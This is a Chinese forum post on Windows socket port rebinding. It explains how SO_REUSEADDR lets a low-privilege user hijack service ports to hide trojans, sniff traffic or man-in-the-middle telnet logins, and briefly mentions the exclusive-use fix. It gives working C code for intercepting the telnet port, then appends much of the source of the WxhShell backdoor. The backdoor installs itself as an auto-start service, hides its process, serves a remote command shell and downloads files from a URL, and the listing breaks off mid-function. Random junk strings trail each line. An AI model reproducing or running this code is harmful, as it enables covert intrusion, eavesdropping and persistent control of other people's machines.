社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11173阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x(]s#D!)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HAO/r`7*  
izFu&syv)  
  saddr.sin_family = AF_INET; h*MR5qa  
:m&`bq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =oQzL  
yFpHRfF}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &]LwK5SR  
~5!ukGK_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r`;C9#jZ  
s`#hk^{  
  这意味着什么?意味着可以进行如下的攻击: l m  
E<\\'VF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NWAF4i&$  
BB%(!O4Dl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5ef&Ih.3  
w4x8 Sre  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pRU6jV 6e)  
"^XN"SUw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `%ENGB|  
rqF PUp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |iwTzlt*#  
6U&Uyd)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6~!YEuA  
i;xg[e8.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M`>W'<  
6pLwwZD  
  #include J,D{dYLDD  
  #include J.nVEqLZ  
  #include ;9I#>u  
  #include    pc.0;g N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +.N;h-'  
  int main() z5vryhX_Z  
  { Hug{9Hr3.  
  WORD wVersionRequested; Tb)x8-0  
  DWORD ret; TdE_\gEo/R  
  WSADATA wsaData; PR'FSTg  
  BOOL val; <Z__Q  
  SOCKADDR_IN saddr; E1C8yIF  
  SOCKADDR_IN scaddr; }fCM_w  
  int err; p!a%*LfND  
  SOCKET s; up1aFzY|6x  
  SOCKET sc; ]OrFW4tiE  
  int caddsize; ^KaMi_--  
  HANDLE mt; ' " tieew  
  DWORD tid;   5&kR1Bp#-  
  wVersionRequested = MAKEWORD( 2, 2 ); *Vc=]Z2G^  
  err = WSAStartup( wVersionRequested, &wsaData ); BdKtpje  
  if ( err != 0 ) { Q|1bF!#(1  
  printf("error!WSAStartup failed!\n"); 9F+bWo_m  
  return -1; C49 G&  
  } "pPNlV]UA^  
  saddr.sin_family = AF_INET; ;MMFF{  
   3?XLHMxW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :L[6a>"neE  
5QSmim  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #TWc` 8  
  saddr.sin_port = htons(23); :acQK=fe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y|dXxd9  
  { Z:v1?v  
  printf("error!socket failed!\n"); #~+#72+x7  
  return -1; vf =  
  } <e^/hR4O  
  val = TRUE; $"8k|^Z3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #{M -3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "(N HA+s/  
  { Tpukz_F  
  printf("error!setsockopt failed!\n"); i njmP9ed  
  return -1; )^\='(s  
  } v'!Nt k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bIArAS9%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8UIL_nPO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9^^#I ~-  
Fsf22  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #CPPdU$  
  { +29\'w,  
  ret=GetLastError(); )DmiN^:  
  printf("error!bind failed!\n"); UTQKlwPa  
  return -1; 6p " c ^  
  } S=}~I  
  listen(s,2); DQ\&5ytP  
  while(1) mM} Ukmy  
  { b8.%?_?  
  caddsize = sizeof(scaddr); #mhD; .Wg  
  //接受连接请求 Z0eBx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XO#)i6}G  
  if(sc!=INVALID_SOCKET) $ rYS   
  { pRvs;klf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D:E~yh)$-  
  if(mt==NULL) 1fFb 7n~3  
  { CS\tCw\Y  
  printf("Thread Creat Failed!\n"); ;q; C ^l  
  break; .4<U*Xkt  
  } \83A|+k  
  } {p|%hhTK%  
  CloseHandle(mt); 9r nk\`E  
  } ocqB-C]  
  closesocket(s); 5\0.[W{^  
  WSACleanup(); g&3#22z  
  return 0; b8Rh|"J)d  
  }   RVnyl`s  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1?RCJ]e5  
  { A dEbyL  
  SOCKET ss = (SOCKET)lpParam; G'2=jHzMF  
  SOCKET sc; C9U {^  
  unsigned char buf[4096]; d^5SeCs6  
  SOCKADDR_IN saddr; ^:!(jiH  
  long num; 1m`tqlFU9  
  DWORD val; cNo4UZvr  
  DWORD ret; 1Bk*G>CX9(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V$<G)dwUG5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SxZ^ "\H  
  saddr.sin_family = AF_INET; bsi q9$F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tnF9Vj[#%_  
  saddr.sin_port = htons(23); zrU$SWU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y8hg8J|  
  { I0HY#z%  
  printf("error!socket failed!\n"); \ U*-w:+@  
  return -1; q 9brpbg_  
  } dA)4(0o8fD  
  val = 100; \+Rwm:lI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RpXs3=9  
  { ,AbKxT f2  
  ret = GetLastError(); an=+6lIl  
  return -1; 380->  
  } }1]!#yMfq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (: TGev  
  { R'9@A\7#  
  ret = GetLastError(); # HM\ a  
  return -1; a4jnu:e  
  } ?]\W8)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ui56<gI-  
  { 3KG)6)1*  
  printf("error!socket connect failed!\n"); ~f=6?5.wa  
  closesocket(sc); {rb-DB-/5M  
  closesocket(ss); zK>'tFU  
  return -1; qsft*&  
  } {FJX  
  while(1) Vgqvvq<S  
  { O& 3r*vd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sw$R2K{y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pv7f _hw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?79SPp)oo  
  num = recv(ss,buf,4096,0); =MJ-s;raq  
  if(num>0) y#Mc4?  
  send(sc,buf,num,0); ycrh5*g  
  else if(num==0) ~Q_)>|R2  
  break; hB P$9GR  
  num = recv(sc,buf,4096,0); qD(fYOX{C  
  if(num>0) zj9bSDVL(  
  send(ss,buf,num,0); NoJnchiU  
  else if(num==0) "$~}'`(]  
  break; c YM CfP  
  } 3yHb!}F  
  closesocket(ss); _'!N q  
  closesocket(sc); 3@PUg(M  
  return 0 ; hF{x')(#l  
  } a%Z4_ToLZ  
Sl. KLc@@  
J.bF v/R  
========================================================== |TB@@ 2Ky&  
=E [4H  
下边附上一个代码,,WXhSHELL 4i_spF-3  
;g: UE  
========================================================== _l24Ba$F6  
Qb!!J4| !  
#include "stdafx.h" }b_R5U$@@  
LN@E\wRw{r  
#include <stdio.h> -Q<z1vz  
#include <string.h> o,S!RG&  
#include <windows.h> 4 ss&'h  
#include <winsock2.h> mJ0}DJiX$  
#include <winsvc.h> b4Ricm  
#include <urlmon.h> F5FNhuC  
iEiu%T>  
#pragma comment (lib, "Ws2_32.lib") r+t ,J|V  
#pragma comment (lib, "urlmon.lib") m0=cMVCA!  
=d go!k  
#define MAX_USER   100 // 最大客户端连接数 |. J,8~x  
#define BUF_SOCK   200 // sock buffer &_"ORqn&  
#define KEY_BUFF   255 // 输入 buffer Z{Vxr*9oO  
|RR"'o_E  
#define REBOOT     0   // 重启 lo cW_/  
#define SHUTDOWN   1   // 关机 hMNJ'i}  
!OPSSP]-  
#define DEF_PORT   5000 // 监听端口 lq:]`l,6@  
SV$nyV  
#define REG_LEN     16   // 注册表键长度  7]p>XAb  
#define SVC_LEN     80   // NT服务名长度 #,@bxsB  
dv"as4~%  
// 从dll定义API Oq*n9V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Iq)(UfaSve  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "/Y<G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YSqv86  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WHp97S'd  
ki\B!<uv  
// wxhshell配置信息 }P#Vsqe V  
struct WSCFG { 9GO}&7   
  int ws_port;         // 监听端口 bsB},pc  
  char ws_passstr[REG_LEN]; // 口令 rVUUH!  
  int ws_autoins;       // 安装标记, 1=yes 0=no inYM+o!Ub  
  char ws_regname[REG_LEN]; // 注册表键名 #X#8ynt  
  char ws_svcname[REG_LEN]; // 服务名 EbCIIMbe"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]53O}sH>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DeH0k[o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ( :  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v9u<F6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1hR (N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :d.1;st  
XcOA)'Py  
}; tE[H8  
Vr 8:nP:  
// default Wxhshell configuration W$r^  
struct WSCFG wscfg={DEF_PORT, jk )Vb  
    "xuhuanlingzhe", xPt*CB  
    1, uG;?vvg>  
    "Wxhshell", _l<mu?"  
    "Wxhshell", b\:~;  
            "WxhShell Service", [q1Unm  
    "Wrsky Windows CmdShell Service", %4,xx'`  
    "Please Input Your Password: ", Rv,82iEKs  
  1, >:2}V]/ ;  
  "http://www.wrsky.com/wxhshell.exe", Dzr e'  
  "Wxhshell.exe" BBxc*alG0  
    }; _5b0wdB  
Y.>kO  
// 消息定义模块 ]BfS270  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wFvT0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #1[z;Mk0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; za T_d/?J  
char *msg_ws_ext="\n\rExit."; +oZH?N4yaM  
char *msg_ws_end="\n\rQuit."; }%$OU =T  
char *msg_ws_boot="\n\rReboot..."; 3htq[Ren  
char *msg_ws_poff="\n\rShutdown..."; <#y*h8IZ@t  
char *msg_ws_down="\n\rSave to "; 'd/*BjNp)  
Umz05*  
char *msg_ws_err="\n\rErr!"; X'x3esw w  
char *msg_ws_ok="\n\rOK!"; GF'f[F6oI  
!MoOKW  
char ExeFile[MAX_PATH]; m; o4Fu  
int nUser = 0; H@D;e  
HANDLE handles[MAX_USER]; eLV.qLBUs  
int OsIsNt; Q_]~0PoH  
hbI;Hd  
SERVICE_STATUS       serviceStatus; 1[-vD=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \0?$wIH?  
PNpu*# Z`  
// 函数声明 59 <hV?  
int Install(void); $mpO?D J~  
int Uninstall(void); @ 7W?8  
int DownloadFile(char *sURL, SOCKET wsh); *~2cG;B"e  
int Boot(int flag); 8eJE>g1J  
void HideProc(void); 8KMv Ac  
int GetOsVer(void); CxDcY  
int Wxhshell(SOCKET wsl); "|t!7hC  
void TalkWithClient(void *cs); OCNPi4  
int CmdShell(SOCKET sock); :, _!pe;H  
int StartFromService(void); R0wf#%97  
int StartWxhshell(LPSTR lpCmdLine); !D:Jbt@R<n  
()\jCNLT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G\=_e8(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {eQWO.C{  
/t5p-  
// 数据结构和表定义 H0>yi[2f  
SERVICE_TABLE_ENTRY DispatchTable[] = x[X`a  
{ exZLj0kvF  
{wscfg.ws_svcname, NTServiceMain}, Td hTQ  
{NULL, NULL} #U ASH&  
}; ashar&'  
7-* =|gl+  
// 自我安装 kOjf #@c  
int Install(void) u =J&~  
{ Ef@,hX  
  char svExeFile[MAX_PATH]; U|5-0u5  
  HKEY key; _<*Hv*Zm  
  strcpy(svExeFile,ExeFile); iw\%h9  
.=c<>/ 0  
// 如果是win9x系统,修改注册表设为自启动 )D/ 6%]O  
if(!OsIsNt) { 38IMxd9v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Qj(B@ i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y; ) .+si  
  RegCloseKey(key); vmX"+sHz$]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f p[,C1U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "G?Yrh  
  RegCloseKey(key); -VT+O+9_A  
  return 0; X.FGBR7=q  
    } N#ioJ^}n:  
  } /*rhtrS)  
} X}A'Cg0y  
else { Z?G&.# :  
szmmu*F,U:  
// 如果是NT以上系统,安装为系统服务 zpjqEEY;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z`Z5sj 4{  
if (schSCManager!=0) 'LSz f/w  
{ y2|R.EU\m<  
  SC_HANDLE schService = CreateService ;zH HIdQ>-  
  ( @It>*B yB.  
  schSCManager, =^;P#kX  
  wscfg.ws_svcname, +-$Ko fnM  
  wscfg.ws_svcdisp, Y.6SOu5$]  
  SERVICE_ALL_ACCESS, nH-V{=**  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~d >W?A  
  SERVICE_AUTO_START, t18$x "\4k  
  SERVICE_ERROR_NORMAL, yxWO [ Z  
  svExeFile, %; "@Ah  
  NULL, 23]Y<->Eu<  
  NULL, &qM[g 9  
  NULL, +0l`5."d  
  NULL, .ic:`1  
  NULL p *w$:L  
  ); {FO$yw=>  
  if (schService!=0) dtt~ Bd  
  { &HZmQ>!R D  
  CloseServiceHandle(schService); qQ]]~F  
  CloseServiceHandle(schSCManager); 0E`1HP"b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k?GD/$1t  
  strcat(svExeFile,wscfg.ws_svcname); w8Sv*K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _ QOZ sEe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "/{RhY<  
  RegCloseKey(key);  l! bv^  
  return 0; 4'1m4Ugg  
    }  >w6taX  
  } s"KJiQKGM  
  CloseServiceHandle(schSCManager); FDzqL;I  
} k44Q):ncY7  
} lCd@jB{  
>R,'5:Rw  
return 1; +0wT!DZW\=  
} B5%n(,Lx  
jEdtJ EPa  
// 自我卸载 K6JVg$  
int Uninstall(void) Ga>uFb}W~  
{ w8Q<r.  
  HKEY key; G.Vu KsP]  
@oP_;G  
if(!OsIsNt) { 'wasZ b<^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = {'pUU  
  RegDeleteValue(key,wscfg.ws_regname); WS8+7O'1\  
  RegCloseKey(key); Rgy- OA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -/C)l)V}  
  RegDeleteValue(key,wscfg.ws_regname);  +ECDD'^!  
  RegCloseKey(key); M,5j5<7  
  return 0; @Hb'8F  
  } N{SQ( %V  
} <:>SGSE9  
} bu7'oB~:V^  
else { Y}*\[}l:&x  
KOq;jH{$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B5V_e!*5F*  
if (schSCManager!=0) W1Lr_z6  
{ l- pe4x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -~[9U,  
  if (schService!=0) <:FP4e "(  
  { c !ZM  
  if(DeleteService(schService)!=0) { 5RH2"*8T  
  CloseServiceHandle(schService); 9Ya<My  
  CloseServiceHandle(schSCManager); .MW@;  
  return 0; ZoB*0H-  
  } #PDf,^  
  CloseServiceHandle(schService); Ab%;Z5$fr  
  } OJN2z  
  CloseServiceHandle(schSCManager); 4to% `)]  
} 87)zCq  
} p^nL&yIW,%  
 |{* }|  
return 1; *%w6 9#D  
} P7ph}mB  
R3)57OyV  
// 从指定url下载文件 zsU=sTsL  
int DownloadFile(char *sURL, SOCKET wsh) `~eX55W  
{ zl-2$}<a  
  HRESULT hr; k%wn0Erd  
char seps[]= "/"; IEjP<pLe  
char *token; JXG"M#{  
char *file; <Llp\XcZ  
char myURL[MAX_PATH]; ^J Z^>E~  
char myFILE[MAX_PATH]; Iz6y{E  
'}g*!jL  
strcpy(myURL,sURL); 7"7rmZ   
  token=strtok(myURL,seps); +_v$!@L8  
  while(token!=NULL) IX: 25CEI2  
  { svelYe#9z  
    file=token; GU't%[  
  token=strtok(NULL,seps); RT93Mt%P  
  } nJRS.xs  
Uie?9&3  
GetCurrentDirectory(MAX_PATH,myFILE); n .!Ym X4  
strcat(myFILE, "\\"); 6.5T/D*TT  
strcat(myFILE, file); _|72r} j  
  send(wsh,myFILE,strlen(myFILE),0); ) xbO6V  
send(wsh,"...",3,0); Lb{e,JH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "'g[1Li  
  if(hr==S_OK) pA{ 5V9  
return 0; )$w*V9d  
else w;Q;[:y  
return 1; TI9UXa:V\  
h/x0]@M&  
} th6+2&B6  
as=m`DqOh  
// 系统电源模块 _#$ *y  
int Boot(int flag) |Iu npZV  
{ Xh J,"=E+  
  HANDLE hToken; >7!6nF3x,  
  TOKEN_PRIVILEGES tkp; AamVms  
ZEYgK)^  
  if(OsIsNt) { _k^0m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @&D?e:|!U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z/^  u  
    tkp.PrivilegeCount = 1; A2}Rl%+X]6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )1g"?]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :'aAZegQY  
if(flag==REBOOT) { Bl9jkq ]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bYz&P`o}  
  return 0; ~&\ f|%  
} @!&}}"<  
else { .^$YfTabq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nhG J  
  return 0; <p;k)S2J  
} X=8Y&#%  
  } 2,aPr:]  
  else { 1FtM>&%4  
if(flag==REBOOT) { RzhWD^bB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8q`$y$06Dk  
  return 0; ]|_\xO(  
} #_mi `7!B#  
else { Rl|4S[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $D31Q[p=+  
  return 0; 1 nvTce  
} Q-#$Aa  
} c*d 9'}E  
CE15pNss  
return 1; ]pEV}@7  
} ?^:h\C^a"  
0J.dG/I%  
// win9x进程隐藏模块 :b[`  v  
void HideProc(void) `>DP,D)w(  
{ =66Nw(E.  
::n;VY2&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c:83LZ  
  if ( hKernel != NULL ) WWT",gio  
  { xf%4, JQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y}C`&nW[=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e&eW|E  
    FreeLibrary(hKernel); RvJ['(-  
  } "l={)=R  
_WX#a|4h{  
return; $4jell  
} Gamr6I"K  
I *c;H I  
// 获取操作系统版本 (><zsLs&  
int GetOsVer(void) UR(-q  
{ 4E44Hzs  
  OSVERSIONINFO winfo; 2tayP@$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3Q/#T1@  
  GetVersionEx(&winfo); $- +/$!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MH| ] \  
  return 1; {F&-7u0  
  else j?b\+rr  
  return 0; &Bx J  
} Li 2Zndp  
F>]#}_  
// 客户端句柄模块 2?Ye*-  
int Wxhshell(SOCKET wsl) TJ?g%  
{ ,n2i@?NHZ  
  SOCKET wsh; 4LI0SwD#^/  
  struct sockaddr_in client; H* !EP  
  DWORD myID; ]IJRnVp%  
{Hr$wa~  
  while(nUser<MAX_USER) &PcyKpyd  
{ fJjgq)9  
  int nSize=sizeof(client); ~Lfcg*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -6Tk<W  
  if(wsh==INVALID_SOCKET) return 1; {>0V[c[~  
5p?!ni9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '%v#v3'  
if(handles[nUser]==0) 4^c- D  
  closesocket(wsh); 9?+9UlJ7K  
else I 5ag6l  
  nUser++; %;`>`j5  
  } (7lBID4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !- C' }  
NTs;FX~g[  
  return 0; v4?iOD  
} 4C~UcGMv\  
jm>3bd  
// 关闭 socket &UAe!{E0  
void CloseIt(SOCKET wsh) )J/HkOj"V  
{ ~>ME'D~  
closesocket(wsh); {I%y;Aab8  
nUser--; M%Ku5X6:/  
ExitThread(0); U` R;P-  
} 1`r| op},  
^<V9'Ut   
// 客户端请求句柄 #S QXTR  
void TalkWithClient(void *cs) cErI%v}v0  
{ 5$l9@0D.\  
XL< )v_  
  SOCKET wsh=(SOCKET)cs; lhn8^hOJ/  
  char pwd[SVC_LEN]; ,-*iCs<  
  char cmd[KEY_BUFF]; 4yV].2#rl"  
char chr[1]; gqiXmMm:9  
int i,j; =(U/CI  
"|LQK0q3  
  while (nUser < MAX_USER) { Z-Wfcnk  
Hw_o w?  
if(wscfg.ws_passstr) { ?_4^le[;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zy$Lrr!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y]qsyR18i  
  //ZeroMemory(pwd,KEY_BUFF); ;i)KHj'  
      i=0; @h-T:$  
  while(i<SVC_LEN) { 2RNrIU I2  
hYt7kq!"  
  // 设置超时 4 \Di,PPu  
  fd_set FdRead;  b;vNq  
  struct timeval TimeOut; tW6#e(^l6  
  FD_ZERO(&FdRead); hTS|_5b  
  FD_SET(wsh,&FdRead); XoL[ r67Z  
  TimeOut.tv_sec=8; ?z.Isvn  
  TimeOut.tv_usec=0; P.4E{.)(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jn=ug42d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z.jCera.  
'C]jwxy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LD.Ck6@  
  pwd=chr[0]; /Dd\PjIH{  
  if(chr[0]==0xd || chr[0]==0xa) { ya>N.h  
  pwd=0; <q6`~F~|  
  break; zzJ^x8#R  
  } $%}>zqD1  
  i++; RjtC:H&XZ  
    } 9".Uc8^p/F  
:uR>UDlPX  
  // 如果是非法用户,关闭 socket /#\?1)jCK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TNsg pJ?\  
} HWbBChDF  
NKh,z& _5-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m+$/DD^-zl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PJwEA  
S~&\o\"5  
while(1) { Q!) z)-hI  
+3?`M<L0  
  ZeroMemory(cmd,KEY_BUFF); nOuN|q=C  
TQ~&Y)".  
      // 自动支持客户端 telnet标准   rG5i-'  
  j=0; /C7svH  
  while(j<KEY_BUFF) { 7 s-`QdWX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pP oxVvG{  
  cmd[j]=chr[0]; Sgx+V"bkT  
  if(chr[0]==0xa || chr[0]==0xd) { |$w0+bV*  
  cmd[j]=0; o3= .T+B  
  break; 3Pa3f >}-  
  } r'PE5xqF  
  j++; <tU :U<ea]  
    } X@eg<]'m  
&0i71!Oy  
  // 下载文件 W&LBh%"g  
  if(strstr(cmd,"http://")) { A'b<?)Y7_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HMQ 'b(a'  
  if(DownloadFile(cmd,wsh)) B*BHF95!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7j95"mI  
  else 2}>go^#O/w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i!y\WaCp  
  } ~|qXtds$  
  else { l#|J rU!  
LP8o7%sv!  
    switch(cmd[0]) { @ikUM+A {  
  B\NcCp`5  
  // 帮助 XuA0.b%  
  case '?': { *SXSF95  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QM7[O]@  
    break; |#!eMJ&0  
  } ?F!W#   
  // 安装 rg"TJ"Q-  
  case 'i': { c;nx59w ]q  
    if(Install()) !;ZBL;qY9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `g2&{)3k  
    else "@aq@mY@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S/KVN(Z  
    break; aKa  R  
    } vRq=m8  
  // 卸载 <tGI]@Nwk  
  case 'r': { aViJ   
    if(Uninstall()) k q/t]%(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !XkymIX~O.  
    else 5+J 64_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7j4ej|Fjo  
    break; (ej:_w1  
    } +.XZK3  
  // 显示 wxhshell 所在路径 X v`2hf  
  case 'p': { ^cfkP(Y3kx  
    char svExeFile[MAX_PATH]; 1kbT@  
    strcpy(svExeFile,"\n\r"); Ty g$`\#   
      strcat(svExeFile,ExeFile); [u,hc/PL  
        send(wsh,svExeFile,strlen(svExeFile),0); Q:'qw#P/C  
    break; Xp<A@2wt?  
    } !hwzKm=%N  
  // 重启 x e"4u JO  
  case 'b': { 6~:W(E}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d08`42Z69  
    if(Boot(REBOOT)) V:nMo2'hb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OL,/-;z6  
    else { #rSasucr  
    closesocket(wsh); wrZ7Sr!/V  
    ExitThread(0); H9oXZSm  
